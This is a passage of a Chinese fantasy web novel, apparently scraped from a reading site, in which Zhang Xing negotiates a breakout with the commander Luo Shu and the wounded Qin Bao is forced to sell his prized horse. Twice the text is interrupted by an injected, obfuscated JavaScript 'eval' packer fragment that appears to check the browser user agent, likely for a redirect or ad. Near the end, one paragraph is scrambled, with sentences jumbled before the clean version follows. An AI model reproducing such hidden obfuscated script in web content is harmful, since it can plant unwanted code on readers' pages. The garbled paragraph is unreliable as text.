房玄乔沉默片刻,然后第二次岔开了话题:“张公,我跟此行中的苏靖方苏校尉在对面大营中颇有些交流,他对我说一件事情...,,,” “什么?” “当日红山之会后,他有些不懂的地方,专来请教过张公。” “是有这事. 他连这个都告诉你了吗?” “像我们这种闲人,总是要找些事情来打发时间的......张公,我刚刚见面时便说了,我曾在红山见过你,也听了你的言语,也有些不大懂的地方。”房玄乔恳切来言。 “辩论嘛,又不是著书立说,肯定有偏颇和缺失的地方。”张行笑道。“所以若是能解惑,还是好的......你哪里不懂?” “前面的事情就不说了,只说苏靖方来见张公,张公说的万事如线如缕如波,而只行好事,则天下事虽有起伏却终算是扬起来,是也不是?” “是。”张行认真回复。“你总结的比我好......有什么问题吗?” “没有,这个道理在下是认的。”房玄乔笑道。“在下的疑问是,怎么断定行的事情是好事呢?这个好坏怎么断定?或者在下说的更清楚一点,张公这里是怎么定这个好坏的?” “小房先生这种聪明人也不知道吗?”张行摇头失笑。“这件事情,或许说法不同,但我必然说过很多次了.....” “还是想亲耳听听张公的言语。” “万事万物以人为本。”张行收起笑意,就在榻上肃然以对。“好坏当然也要以人的受益、有害来做判定......而若是阁下想问这个人都是哪些人?当然是全天下所有人。” “所有人?” “妖族巫族也是人......”“我不是这个意思。” “我知道你想说什么......”张行认真来言。“其实,我一开始愤然杀张含**时,的确想过天街踏破公卿骨,杀尽那些不把人当人的人,但是,心里想归心里想,却也晓得,真要做事,不能天然视某些人为仇雠的......因为当先一个,想要做事,就得要团结人,团结所有愿意帮忙做事的人,若以出身来论,何谈成事?所以,这才起名叫黜龙帮,用黜落的黜,而非铲除的除。用的人也都五花八门......世族子弟、地方豪强、游侠帮众、贩夫走卒,只要愿意来做事,愿意为天下人做点好事,都可以收而纳之。 “当然,这只是第一步,是做事,还不是说事情的导向如何,但事情的导向往往取决于做事的人,既然黜龙帮能广纳百川,又能把道理公开摆出来,又何必忧虑黜龙帮做的事情会隔绝特定的人呢?” 房玄乔认真听完,点点头,复又摇头:“不瞒张公,我其实还有些疑问,但当今日今时,是不该喋喋不休的,问这个话,能得到张公一个回复,就已经很好了......之前张公之前问的事情,我也可以回复了......我觉得,北面冯公那里和对岸东都军那里,不是不能走,真到不得不走的时候,赌一把是可行的,但这两者都有陷阱的嫌疑,若能开辟出一个新的出路,那自然更好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是当然的,被围住这里,说是稳如红山,其实谁都知道粮草耗尽后的凄惨,所有人也都随着时间流逝而越来越紧绷......这些天,便是主动扎入包围圈的崔四郎都陷入到了明显的焦躁不安中。 很多人都渐渐疑惧外面的帮众、地盘、军队会一哄而散,而自己这些人沦为死无葬身之地者。 而现在,居然连李枢都来救他们了,连一个屯长、副屯长都能斩杀凝丹大将,坚定不退,还有北地与晋北的意外援军,而对方居然也同时后院着火,那岂不是说明外面的局势大好,人心不散,而只要出去,便可以迅速重新组织起来,把控局势? 更不要说,这边也确实粮草日渐的少了。所以,突围是一定要突围的。 只不过,突围本身注定不轻松罢了,注定要赌命罢了。 “从哪里突围?”张行继续来问。 “能分兵吗?”徐世英立即反问。“既然突围,咱们便没法子立阵了,而不立阵的话,我愿意做偏师,领一个营先去北面冯无佚或者河对面东都军那里,把敌军先敲起来,然后大部队再行突围......” 此言一出,莽金刚、伍惊风等人齐齐去看,暗自感慨,虽晓得徐大郎忠勇,但所谓疾风知劲草,真到了这种最危险的时候,徐大郎的忠勇还是屡屡超出他们想象。 “我觉得可行。”马围作为参军头子,率先给出意见。“不管突围方向到底是哪里,都可以施行。” “那就如此。”张行点头应许,继续来问。“主力从哪里突围?” 这下子帐中一时沉默了。 “只怕冯府君与河对岸这两处都能被人猜到......都像是陷阱。”明显瘦了的马围依旧反应迅速,且当仁不让。“但如果非要选的话,我选冒险渡河.......走这边的关键是,只要能快速渡河,突围便有了较大成面......咱们之前把浮桥收起来了,直接铺上去便是。” “我也可以试着冰冻河面。”张行补充道。“但只怕这般动静几乎必然惊动大宗师......” “那就冒险疾速渡河,反正有伏龙印,顶住白横秋一人便是。”伍惊风有些躁动之态。 “还有我们兄弟,肯定能帮上忙。”莽金刚也赶紧提醒高端战力是比之前要强一些的。 “照这么说,我也可以试着冰冻河面,使浮桥定住。”张行认真回复。“可以把这个作为备选......真要是没别的主意,就从这里赌......但是,如果可以说服冯无佚之外的人呢?” “谁?”王叔勇差异来问。“罗术。” “罗术也......”王五郎一时摸不着头脑。 张行也不拖延,便将房玄乔、张公慎的相关言语迅速说了一遍,然后总结:“按照这俩人说法,罗术那里或许可以有缝隙来做撬动。” “这两人,还有之前的苏靖方,可信吗?”大头领徐师仁小心来问。 “细细说来,都有做间谍的可能。”张行也毫不避讳。“但他们已经是眼下少有的能给咱们送情报的人了......我的意思是,赌什么都是赌,罗术这里自然也可以赌一赌。” “若是罗术真愿意高抬贵手一次。”崔肃臣终于也开口了。“必然会出其不意........而打仗,最厉害的便是出其不意!” “我的意思是,可以先去说一说,若成,就从罗术这里走。”张行给出了自己的方案。“若不成,就渡河,从东都军大营走!” “可行!”徐世英第一个表达赞同,并敏锐的意识到了一个关键问题。“但谁去跟罗术说?罗术这种人在此时这种境地,想说服他不是没机会,但要倾尽全力。” “自然是我去。”张行看了对方一眼。“我有伏龙印,还有一个测吉凶的罗盘,若罗盘没差错,便持伏龙印亲自走一趟,届时能成就成,不成就回来,雄天王要及时接应我。” 众人都无话可说,却是迅速制定了一个简易的计划总纲......大部分都是之前早就想好的,他们被围在这里可不是吃干饭。 而随即,随着下午雨水稍微再住,众人也再度散去归营。 这时候,得到了确切计划的张行没有着急去见谁,而是在中军大帐外的夯土将台下,从腰中取下了那个罗盘,在手中放平,然后轻声念动: “太上老君急急如律令。” 一言既罢,指针陡然弹起,指向了西北面。西北面,正是罗术的驻地。 这最起码说明,今晚过去,不会**。 细雨濛濛中,张行的东南方向,隔着一条清漳水,显得有些肃杀和紧张的东都军大营内,白横秋立在雨中,望着河对岸的黜龙军大营,忽然便是一声叹气: “希望这次打草惊蛇能成,让黜龙帮尽快突围。” 其人身后,赫然立着本该在河对岸大营的李定与孙顺德等人,他们闻言欲语,却都没有吭声。 但回过头来的白横秋给出了清楚的解释:“不瞒你们,昨夜我不光是收到了东线西线两份战报,还收到了我那位堂兄的情报......有人告诉我,我那位堂兄根本没有去东都,而是直接入关去关西了......我等不得了。” 众人诧异一时,唯独李定定定的看了对方一眼,面上丝毫不吭,心中渐渐不安.......因为他根本不知道此人的话还能不能信。 另一边,仅仅是一刻钟功夫,张行点验了罗盘,收拾了东西,见了苏靖方,要对方带话传令;见了张公慎,请对方待会斡旋,做好准备,一旦应许,自己便过去,今晚就见面;当然,也见了房玄乔,感谢了对方.......最后,便亲自将重新**起来的人送出去。 临到大营辕门时,张行忽然想起什么来,忽然失笑,告知房玄乔一个讯息:“小房先生......我们其实还有五日粮草......之前怕你不信,不敢直言。” 房玄乔当即在雨中愣住,一时间不知道对方真假。 有的人**,但没有完全死…… 第二百七十八章 山海行(25) 河北的第二场春雨并不大,却反反复复下了一整天,到了傍晚时分,黜龙帮被困大营与联军大营之间的土垒壕沟处,早已经泥泞不堪......这使得按照约定等在这里的张行以及贾润士等随员不得不躺在泥窝里。 是真正的躺在泥窝里。 张行带头,贾润士以下七八名黜龙帮核心精锐毫无风范的靠在土垒上,任由泥水从自己身上皮甲缝隙里流过,弄得整个后背都污烂一片。 雨声淅沥,张行就在泥窝里与这些人低声闲聊: “小刘参军,你到底成婚了吗?我听到营中许多人都在打趣你。” “没有,这次打完仗就回去结婚。”小刘参军闻言赶紧来答。“她早没了父母,自己已答应了。” 张行沉默片刻,只能硬着头皮点头:“挺好的,到时候我也随个份子。” 小刘参军自然道谢,其余人也都来笑,说是要随份子。 张行无奈,赶紧转移话题:“崔宇臣,你呢?” “我不结婚。”冻得有点蜷缩的崔二十六郎一愣,赶紧摇头。 “我不是说你结婚不结婚。”张行认真问道。“此番出去,你有什么私事想做吗?” 崔二十六郎再度愣了一下,然后明显迟疑。张行却只是看着对方不动。 崔宇臣见状无奈,只能老老实实低声来言:“不瞒首席,我要是此番能出去,那么清河崔氏必然会有灭顶之灾,崔分管固然是兄长,又得力,但他到底是荥阳分支的,清河本地的大小房这里,尤其是小房,我要担起责任来,要去收拢族中子弟,不让他们就此散了......” “好志气。”张行也只能如此说了,却又看向了贾润士。 后者见状立即主动出言:“我没什么私事要做,家里有父亲,我只安心奉公随侍首席便是。” “你也二十了吧?”张行明显不以为然。“差不多也该考虑婚事了,可有中意的?” “并无。”贾润士只能一句话后选择闭嘴淋雨。 张首席倒也不厌其烦,居然又挨个问了这几位的婚事,没结婚的就问什么时候结婚?结婚的就问有没有孩子?有孩子的便问孩子有没有筑基? 一番话问下来,倒是十个人有八個变得讪讪起来,张行情知是眼下局势堪忧,便复又安慰,只说今日事后,必然能突围出去的。 而闻得安慰,这些人居然颇有振作。 “到时候我便将这几年攒的俸禄和加薪全花出去,就在将陵城外面的祝丰楼请行台所有参军文书一起吃酒!”小刘参军格外振奋。 张行见状,心中愈发有些惊慌,但嘴上还是很硬,只是点头应许:“这是自然。” 正说着呢,张行修为毕竟上去了,忽然间便听到对面土垒后面的栅栏内侧有人进来大声呼喊,却是让执勤的士卒回去轮班吃饭,然后栅栏内瞬间响起一阵稀啦的呼应声,接着就是衣甲的摩擦与水声,接着是笑声、安抚声,最后是脚步声。 等到原本的执勤部队远离,复又有一个人的脚步径声渐渐明显,乃是有人往土垒这里过来,而此人来到无人看守的数条土垒、壕沟中,则忍不住低声来问:“张首席?张首席?” 张行没有让贾润士他们去把人带来,而是直接转身登上泥泞湿滑的土垒上方,朝来人,也就是张公慎招手示意。 张公慎赶紧过来,临到跟前,差点在一处壕沟那里滑倒,还是张行扶住了对方。 二人落定,满身是水的张公慎立即开口:“首席,按照之前说的那般,我只说是黜龙帮想派人来谈谈,没说是你,罗总管已经同意了。” “那事情便已经有了三分把握。”张行当即来笑,并单手抱住了对方肩膀。 原本紧张不已的张公慎瞬间便放松了下来,也随之颔首。 就这样,张公慎带着张行一行人越过层层叠叠的土垒壕沟,进入栅栏,此地等候着一队明显精锐更甚的甲士,正是罗术遣人来迎接“使者”的,而张首席的随员此时也显露出了真正的作用......他们开始沿途观察营寨结构、查看哨所布置、估算营地兵力分布。 对此,张公慎和张行有意识的放缓了脚步,乃是闲聊一般缓缓往营内而去。 实际上,他们越过第一层栅栏之后,便也无人在意这一行人,只当是张公慎这位幽州本地大将与谁一起巡视营寨呢。 当然,这种冷静和平淡从他们进入罗术的中军大营开始便发生了变化,因为等候在这里的白显规认出了张行......但是,这位罗术首席心腹虽然明显慌张,却也没有失措,只是迅速转入中军大帐而已。 “总管,我们中了张三顺水推舟之策,竟是他亲自来了!”白显规言辞干脆,直接了当。 原本只是随意坐着的罗术猛地一惊,当场站了起来,便欲言语,身上护体真气也鼓动起来。不过,马上他就醒悟过来,却是赶紧向前,往帐门处而去。 也就是此时,外面便已经传来声音:“罗总管,许久不见了!罗公子可曾过来?不知道修为到什么地步了?” 这话宛若来叙旧的其他大营旧识一般,倒也坦荡。罗术干笑了一声,继续前迎,就在帐门处立住,眼见着对方撒开了张公慎的手伸过来,也只好伸手接住对方,又一起往里走了几步,复又回头,见到白显规与张公慎早早驱赶帐中其他侍卫、参军等人,便是张行随员也都在外,方才放下心来:“张首席,你好大的胆子!” “我有什么可怕的?”张行嗤笑一声,不以为然道。“我自有伏龙印,雄天王跟十三金刚俱在,便是白横秋过来,我又有何忧?” 罗术怔了一下,想要撒手,却到底没有松开,反而是捉着对方手一起在自己主案后并肩坐下,然后才趁机撤了手:“若是这般说,这十余万大军内外,张首席岂不是想来就来想走就走?” “确系如此。”张行坐下,复又环顾左右。“有酒菜吗?我营中粮草已尽,一路也狼狈......也给我随员送些。” “上菜,但先不要上酒,取些热粥来,待会再上酒,外面也别忘了。”罗术扫过对方明显脏污的皮甲,立即回头吩咐,而待到粥菜俱被张公慎亲自端来,张行直接取用,却又好奇来问。“张首席,你既来去自如,为何不走?既修为妥当,为什么还能一身泥水呢?” “能为什么?”张行端着粥碗,低眉淡语。“这一万多儿郎,是帮中精华,若是没了,岂不是要在河北从头再来?甚至帮内权衡失控,须另起炉灶?” “何至于此?”罗术想了一想,也认真辨析。“陈斌、魏玄定、窦立德都是服你的,便是这里坏了事,你人出去,带着凝丹以上高手到了平原的大兵团那里,不也能把握河北局势?更何况,眼下局势,李枢都服你的,便是下面的什么屯长、副屯长都能起势,可见你在河北是很得人的。” “不是这样的。”张行沉默片刻,低头喝完一碗粥,方才正色来言。“我当日分兵虽是无可奈何,但现在也留下了一个极大的破绽......那便是大兵团那里从头到尾都不能当白横秋一击,而换句话说,只要我这里崩溃后,白横秋只要驱太原武安两军,便可轻易击破那边的大兵团。” 罗术略一思考,缓缓点头......他是知兵的人,当然知道关碍,这里的问题就是黜龙帮必须要集中精锐加上付龙印才能逼退白横秋,而一旦这里黜龙帮的精锐崩溃,即便是高端战力逃过去了,那边也不能立起大阵,阻碍某人便不可能,自然是也要败的。33 而且,这里面还有大兵团移动艰难,包括要在黜龙帮必要突围时主动前来接应的因素。 “若是这般......” “若是这般......”张行缓缓言道。“我们黜龙帮一个不好,便可能全局尽丧,到时候河北的地盘,只怕也要被李定、薛常雄尽数夺去,只是不知道汲郡、河内、武阳这几郡是要自收,还是要怎么分......但不管如何,河北的大局,都要笼统归于白氏得。” 罗术一声不吭。 而张行也继续来言:“而且,白氏的局面可不只是一个河北,人家晋地在手,荆襄在手,便是东都被袭了,也还有关西的大局......江东又素来不成器,若是这般,白氏的天下几乎就在眼前了。” “说的不错,曹氏既亡,白氏还是有天命的。”罗术终于幽幽一叹。 “反过来说,不是我自夸,只要我能带着这些**略逃出去,给黜龙帮留个局面,则河北局势便不会属白氏,到时候河北、东境、北地、中原、江淮、江东皆有一番前途,天下大势也就未可定了。”张行没有理会对方的表达,只是继续分析。 “便是有前途,那也是黜龙帮的前途,关我何事?”罗术复又来笑。 “我也这般想的。”在白显规与张公慎的诧异中,张行也随之来笑。“若是真能躲过这一劫,起死回生,那我自有一番心思在天下大势上,便是天命,三辉四御也要就此多看顾我们黜龙帮两分吧?” 罗术似笑非笑。 “败则白氏尽取天下大势,其余人再难翻转,胜则我黜龙帮起死回生,就此夺回两分天下气运。但除此之外,有些话还是要说清楚的。”张行终于抬手去取桌案上的酒壶,乃是从容斟了两杯酒。“从幽州军而言,若白氏尽取天下大势,则再无自立可能,只能渐渐沦为附庸,继而被吞并,而且因为是河北人附于关陇人之下,恐怕从此伏低做小,数代不得翻身;而若黜龙帮生还,夺了两分气运,其实幽州军也是能有一分气运回来的......因为河北这里,看似鱼龙混杂,诸侯割据,其实素来是脉络可循的......之前是官军与义军;此战后,是河北人与关陇人。” 罗术依旧含笑,沉默不语。 倒是白显规和张公慎几乎各自意动,然后前者率先来劝:“总管,张首席这话有道理。” 后者也立即提醒:“总管,若白横秋无功而返,黜龙帮逃出生天,则接下来河北这里,必然是黜龙帮与我们幽州军这俩家河北势力对付薛、李两家关陇势力为主,这样,黜龙帮固然是起死回生,我们也可以趁机整合幽州、进逼河间,然后北上扫荡北地......届时,仿效黑帝爷自北向南摧枯拉朽,成就霸业未尝不可,何必再受关陇人半辈子的气?” 罗术依旧笑而不语。 这个时候张行反过来捉住对方手来问:“罗总管,就算不考虑本地人、外地人的乡土大义,不考虑你所领幽州的前途,你为本土豪杰,难道不知道之前数百年河北的此起彼伏?” “自然知道,但这又如何?” “既知道,难道不为自家稍作考虑?”张行蹙眉追问。 “我考虑自家什么?”罗术大笑不止,同时尝试再度抽回手掌。“张首席是要拿我性命做威胁吗?今晚便让黜龙帮从我这里逃出去?!” “罗总管想哪里去了?”张行一手继续按住对方,一手却主动撒开,转而将案上一杯酒端起,送到对方胸前,言辞恳切。“我是说,大丈夫生于天地间,心怀大志,包藏四海,纵有一线生机,也该争为天下先,岂能郁郁久居人下,甘为他人做犬马?!” 张行清晰感觉到对方手腕陡然一跳......他晓得,此事已经成了六分。 便是帐中原本已经插嘴的白、张二人,此时也都屏息。 罗术沉默许久。 事情的利弊,局势的走向,张行到来后,区区几句话而已,就已经说的很清楚了,甚至不用张行说,这些天,他也跟白显规等人讨论的很清楚了,包括得失前途的账也算的还行......只不过,他必须要承认,他自己跟自己这些亲信算的账并没有张行算的清楚。 尤其是,其余人跟自己一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“生死有命。”张行也顿了一顿。“生死有命,若是那般,便是说其余所有兵马都脱得生机.......比我想的最好的局势还要好。” “不错,不错。”意识到自己没有什么可以再问的罗术缓缓点头,却是在沉吟片刻后将手中酒水捧起一饮而尽。“君子一言!” “驷马难追!”张行也将手中那杯酒一饮而尽,并将空杯展示给对方。“李薛不灭,黜龙帮且与幽州军共河北!” “且共河北!”罗术也将空杯亮了出来。 既做约定,张行再不犹豫,直接起身,就往帐外而去,然后一一做吩咐。 这里面就有了一些跟罗术言语的偏差。 信使的确开始发出,而且络绎不绝,但实际上,为了防止泄密,真正知道相关机密的信使并不多,只有区区五人,而且是提前得到了预备信息,闻讯立即便可出发: 其中,一名信使往白有思处,乃是告知对方,这边真正的突围方向是西北转北面,要白有思即刻乘船携带军事补给自大河口出发北上,往北面漳水、滹沱河、桑干水共同入海口处,然后逆流而上以做接应; 一名信使往大兵团处,要魏玄定、陈斌、窦立德即刻发兵,猛攻鄃城,敲山震虎,兼为掩护,然后后日早上之前迅速后撤: 一名信使往汲郡去,要李枢同样在明日、后日发起进攻,不断袭扰: 还有一名真正的信使,不是别人,正是苏靖方,如果他遵循了约定的话,那么他应该早在中午便出发,往大兵团驻地转无棣郡河口处,寻白有思......换言之,这位才是真正的关键信使,而前两位信使更像是某种保险; 最后一位信使......或者说向导,就是张公慎,他还没有出发,但是明日一旦开始突围,他将立即北上,替黜龙帮寻找西北面的接应部队。 张首席装模作样,当着罗术的面不停下达指令,派遣使者,而罗总管就这么安安静静的看着对方在自己的中军大帐门内发号施令,一直到事情平息,张行也准备离开。 “张首席。”这个时候,也不知道是不是热血退却后忐忑起来,罗术起身相送的时候,竟不知道该说什么好,他迟疑片刻,忽然来问。“我外甥秦二郎现在在何处?” 张行一时恍惚,随即来笑:“我也不知道......说不得是被关在黑牢里了!” 罗术也只是胡乱点头,他怎么可能关心一个妻家外甥?实在是刚刚做下一个天大的决定后,回过神来渐渐心乱如麻,以至于不知所措罢了。 当然,秦二并没有被关在黑牢里,但他的境遇也与坐牢无异,甚至更糟糕。 实际上,就在张行被围的时候,秦二郎也可能遭遇到了人生中最艰难的一段时间......他琵琶骨处因为曹林出手而造成的伤病,这数日内非但没有缓解,反而日益加重,真气不能运行,筋骨不能活动,宛若一个废人一般躺在了龙囚关后的关市客栈内,苦捱罢了。 而就在这一日,龙囚关周边有消息传来,说是李定本部大队,居然已经从东南路进入了轘辕关。 闻得讯息,不顾天色已黑,当然也有关外黜龙军大举离去的缘故,龙囚关守将尚师只率亲卫护送着一人离开关城,准备连夜赶回东都城内以作迎接。 不过,当一行人经过关市某处路口的时候,守将尚师生胯下坐骑却忽然畏怯不前。 尚师生愣了愣,旋即大喜,便看向身侧老者:“张公,正愁没有给司马大将军的见面礼呢,如今居然在这关市里遇到一匹极品的龙驹,岂不是天意?!” 老者,也就是张世昭了,似乎有些心事,只是心不在焉来答:“天意难测。” 有的人**,但没有完全死…… 第二百七十九章 山海行(26) 张世昭心不在焉,尚师生却早已经兴奋难名。 身为一名高级武将,尚将军这辈子最大的爱好就是甲胄、兵器、战马这些东西了尤其是战马,相对于全天下就只有伏龙印、惊龙剑这些寥寥几个物件能有些不着调的大神通外,战马反而是最容易接收天地元气而发生异变的,所谓龙驹是真正能对武将起到质变提升作用的。 非只如此,他尚师生胯下本也是个龙驹,结果那市中龙驹如此轻易让自己坐骑畏怯,岂不是说见到真龙了吗? 就这样,其人既决心已定,便直接勒马,让人四下搜索…………傍晚时分,关市又无坊门禁令,须臾片刻,便有人来报,说是西面客栈后院马厩里正有一匹长相怪异的斑点大马在发怒尥蹶子,客栈上下全都无能为力。 尚师生大喜,赶紧下马邀请张世昭一起去看,而后者既然心不在焉,便也下面踩着湿漉漉的地面随之去了。 到了地方,周遭早已经灯火通明,那斑点龙驹果然非比寻常,只在马厩中嘶鸣发怒,周围寻常驴马便皆畏服,或膝软扑地,或抖如筛糠,甚至有几匹离得近又被拴住的驴马当场失禁,弄得骚气更重。?? 非只如此,认真看去,此马颔下隐隐有肉瘤垂下,宛若龙须。 此情此景,身为专业人士的尚师生简直心花怒放,他如何不晓得,自己遇到了生平难得一见的龙驹,却是忙不迭喝问与吩咐起来:“这是谁家的龙驹,居然这般糟蹋?快取二十斤精肉来,拿五十个鸡蛋裹好来喂!再备上一桶干净井水来饮马!” 马厩外早就围成一团,一众亲卫与客栈管事的都在,而能在这龙囚关后面关市做客栈生意的,如何不晓得这位 尚将军才是自己头顶的天,自然是忙成一团。 而趁着这个空档,尚师生盯着这匹仍在发作的马,转瞬间却又改了主意,乃是决心要将自己原本坐骑送给司马正,然后自家来驯服这头斑点龙驹! 一时驯服不得也要留下来! “怎么觉得这斑点龙驹有些熟悉?”就在这时,张世昭在后面阴影中出言。“好像是东都哪位将军的…………” “可不是嘛?”尚师生闻言也捻须来笑。“这等龙驹必定有主,而且不是权贵就是豪杰,也就是现在东都易主,四下惊散,权贵扫地、豪杰**,才能至此,不然怎么没钱给龙驹买肉了?这龙驹主人在哪里啊?” “回禀大将军。”客栈主人早早在旁谨慎等候,闻言立即拢手告知。“这马的主人的确是個雄壮大汉,咋一看也是个豪杰,上旬牵着马背着兵器也真是从东都方向来的,结果却是个花架子不顶用,来了当日就犯了病,躺在客房里不动弹了…………他这人其实真不是个穷困的,但估计赶得急,身上真没带多少钱,也没准备在我们这里长住,结果就是病下来之后,人我们自然不好撵,可这马还要日日精肉鸡蛋,就有些难了……不瞒大将军,我们下午便伤了两个人,还有几个客人想取马,也没成,被耽误了下来。” “他自然赶的急。”尚师生回头来笑,却看向了张世昭。“张相公,你猜他是因为曹皇叔身死而离散的,还是想去投奔英国公的?” “说不定是想投奔李枢呢!”张世昭不以为然道。“这年头,什么人什么事都不说好的。” 尚师生自是以为对方在玩笑,便当场大笑,其余人中有第一次听到相公二字的,却多诧异来看张世昭。 稍待片刻,精肉裹鸡蛋便送到,尚师生亲自接过来拎到跟前,放在槽前,那斑点瘤子马张开大嘴便吃,撕扯血肉宛若咀嚼草料,看的周围人目瞪口呆,而尚师生更是喜上眉梢,愈发下定了决心,不管是谁,便是司马正躺在里面,这匹龙驹他都要定了。 一念至此,其人也不招呼张世昭,径直转身入了客栈,身后许多人也都蜂拥而入。 唯独张世昭,大概懒得去看什么热闹,反而只是立在那里,望着那匹低头吃肉的龙驹,安静等待而已。 另一边,客栈里,秦宝秦二郎早在下午自家坐骑闹腾起来以后就意识到了情况,更不要说客栈里的人还专门过来埋怨他,并询问他如何镇住那匹斑点瘤子兽,但他又能如何呢? 他什么都做不了。 从那日住进来以后,一夜风雨之后,这位公认的阵中猛将便忽然就病倒了,而且是病到几乎无法动弹的地步…….……伤口在琵琶骨处,主要是上半身完全无法发力,真气也如被截断一般,同时全身疼痛,只能在床上努力维持姿态。 当然,这只是发作时,秦宝并不是全天瘫在那里的。 有时候,天气好,他几乎只是黄昏或清晨发作一两个时辰,而有时候天气不好,比如发病的第一天和今日,那几乎是反而一整天只有区区几个时辰可以勉强冒着剧烈疼痛行动了。 但问题在于,即便是最好的那种状态,他难道敢离开此地出龙囚关往战区去吗?真要是半路上或者战场上发病,很可能一个少年郎就能拿粪叉子把他给捅死好不好? 而既然不能走,那就只能坐待英雄落魄,眼睁睁的看着自己落入极致的困境中了。 疼痛、瘫痪,这已经很让一名阵前纵横的武将崩溃了,而意料之外却又理所当然的穷困却又加速剥夺了他的尊严,对一个病秧子而言客栈里的白眼难道还能少了? 这还不算,要知道,这里是龙囚关的当道客栈,什么消息都不缺! 所以,他不得不接受外界风云变幻,不得不接受所有自己知道的人都在自己原本可触及的距离中拼上一切赌上自己命运的情况下以一种**的姿态躺在这间小小的客栈客房中。 甚至,他还要感谢客栈主人的大度,没有在他病中将他驱赶出去。 这个时候,因为早有预料所以最让他恐惧的事情发生了。 “本将乃是龙囚关正守尚师生。”尚师生立在门口,朝着墙角胡子拉碴面容深陷的大汉拱手以对,倒没有什么失礼的意思,实际上,他一眼就看到床脚用布裹着的大铁枪与双铜,然后才开的口。“敢问阁下姓名,可是东都同列?” “不敢称同列。”秦宝此时其实正在发病,只能躺在榻上靠在墙角咬牙来对。“我只是个净街虎,如今东都大乱,想要归乡路过此处罢了。” 尚师生听到对方口音,晓得确实是登州那边口音,也相信对方是要归乡,但却不信对方净街虎的身份。 只不过,事到如今,人家不愿意说又如何呢? “那敢问阁下姓名?”尚师生继续从容来问。 “张张叔勇。”秦二随意捏了名字。 “阁下这身量与兵器,若说是王叔勇我也信的。”尚师生笑道,继而再度拱手。“我就直说了…………外面的那匹龙驹,阁下能否割爱?” 秦宝闭口不言。 尚师生点 点头,别人或许不理解,他作为爱马之人如何不懂对方的挣扎,但这匹马他势在必得,便拱手而出。娘来接自己回东都,周时拿李清钜来接这尚流来言:“秦 然而,且不说李清臣的面子能不能拦住尚师生,也不说兵荒马乱把妻子唤出城苦关键问题在于,若是唤了家里人与李清臣,岂不相当于就此回头?一旦回头,自己这辈子可还能再下定决心跟上去? 桓还在立在门口认真来言。“什么糟践大的话我就不说了,高大将军真要强夺也不是我们生 伴随着肩胛骨剧烈的疼痛话本就既是殊都过来的断又人的秦宝迅速确定了那能落您报出客能密去或者赶快寻到跟不上了!而且自己再不愿遊跟,,将库说的说活让他缓 ?反正你这个样子,本就该唤人来接的……我说句实 他今天不 自己的斑点瘤子兽经茶有草大将军的事,我这边也不敢留你了。 一念至此,秦二郎几乎痛彻心扉 秦二郎沉默半晌,情知自岂被逼入墙角,不能拖延, 只能继南文恍惚生比了洁家具多键伤病潦倒至此,然后被迫卖掉爱马还钱,这难道是天意如此?是三辉四御设计相着让自己受这份苦,以做惩结果一秦二爷三日前绝的银他里了事?罚自己试图在这等乱世中 主要是那匹龙驹太耗费,但加一起也约臭不过干五两……时局不好,鲜肉太贵了。” 若是这般来言,自己此番出行之苦楚,怕是难上加难,却未知道将果还肴秤么要等着自己? 如不行的:”掌柜束手而对。“秦二爷,莫说这种寻常想到这里,奏二郎背罪看向双铜人根本用不了的兵器,便是那匹龙驹我也不敢要的,否则不在泪烫酒穿被灾混得漠”却支持澄梢,弄得满面狼藉。 秦宝努力颔首:”要是这样,请给我一炷香的时间做客栈马既那里,别人倒也罢了,从客房回 我现在脑袋有些昏沉 却略显诧算起来,继而朝一侧张世昭苦笑道:“张相公你说这算住即拱手他辞汉子都山穷水尽了,我也是以待,准备嘉金白银悉的 他却哭了起来 我是强取豪莽誘宝便垂头丧气,其实哪有什么思量?就眼这个算体,人家不讲理,直接把马牵走了自己又如何呢?”更是讲理世咱法也过不去店家这一关…………说破大天去,自家母亲也从没教过自己住人家店、**家饭不给钱的道理。” “到底是谁?可有名号?” 思莱想罢,若是想留下这马,就一个路子,也就是如那店家链泰二报出姓钱告知家人与李十二郎他们,让月娘来接自己回东都,同时拿李清臣来堵这尚师生。 然而,且不说李清臣的面子能不能拦住尚师生,也不说兵荒马乱把妻子唤出城,关键问题在于,若是唤了家里人与李清臣,岂不相当于就此回头?一旦回头,自己这辈子可还能再下定决心跟上去?! 伴随着肩胛骨剧烈的疼痛,本就不是什么优柔寡断之人的秦宝迅速确定了一个信念——不能回去,回去就再也跟不上了!而且自己再不愿过那种挣扎犹疑的生活了! 但是,这也就确定了另一个事实——他今天不得不将自己的斑点瘤子兽给卖出去! 一念至此,秦二郎几乎痛彻心扉。 继而又恍惚生出一个念头,先是伤病潦倒至此,然后被迫卖掉爱马还钱,这难道是天意如此?是三辉四御设计着让自己受这份苦,以做惩罚?罚自己之前不能坚定行事?罚自己试图在这等乱世中敷衍逃避的罪责? 若是这般来言,自己此番出行之苦楚,怕是难上加难,却不知道将来还有什么要等着自己? 想到这里,秦二郎背靠着墙角,偌大的汉子,居然忍不住泪流满脸,而泪水落下,却又打湿了杂乱的胡须与发梢,弄得满面狼藉。 客栈马厩那里,别人倒也罢了,从客房回来的尚师生却略显诧异起来,继而朝一侧张世昭苦笑道:“张相公,你说这算什么事?他这汉子都山穷水尽了,我也是以礼相待,准备真金白银买的,他却哭了起来,不知道的还以为我是强取豪夺呢!” “哭了?”张世昭状若惊讶。 “是。” “到底是谁?可有名号?” “说是秦二爷,见我时还用了假名字……” “是他。” “果然是东都同列吗?” “是。”张世昭叹道。“曹林的心腹大将,靖安台出身却是一等一的阵前好手,我记得之前已经是都尉了,修为、官职,都算是勉强登堂**了…………没想到这般汉子居然也能被你逼着哭了。” “何谈被我逼迫?”尚师生无语。“我都说了,我是好声好气去说的。” “我只问你,若是人家不乐意,今日这马你就不要了吗?”张世昭嗤笑一声。 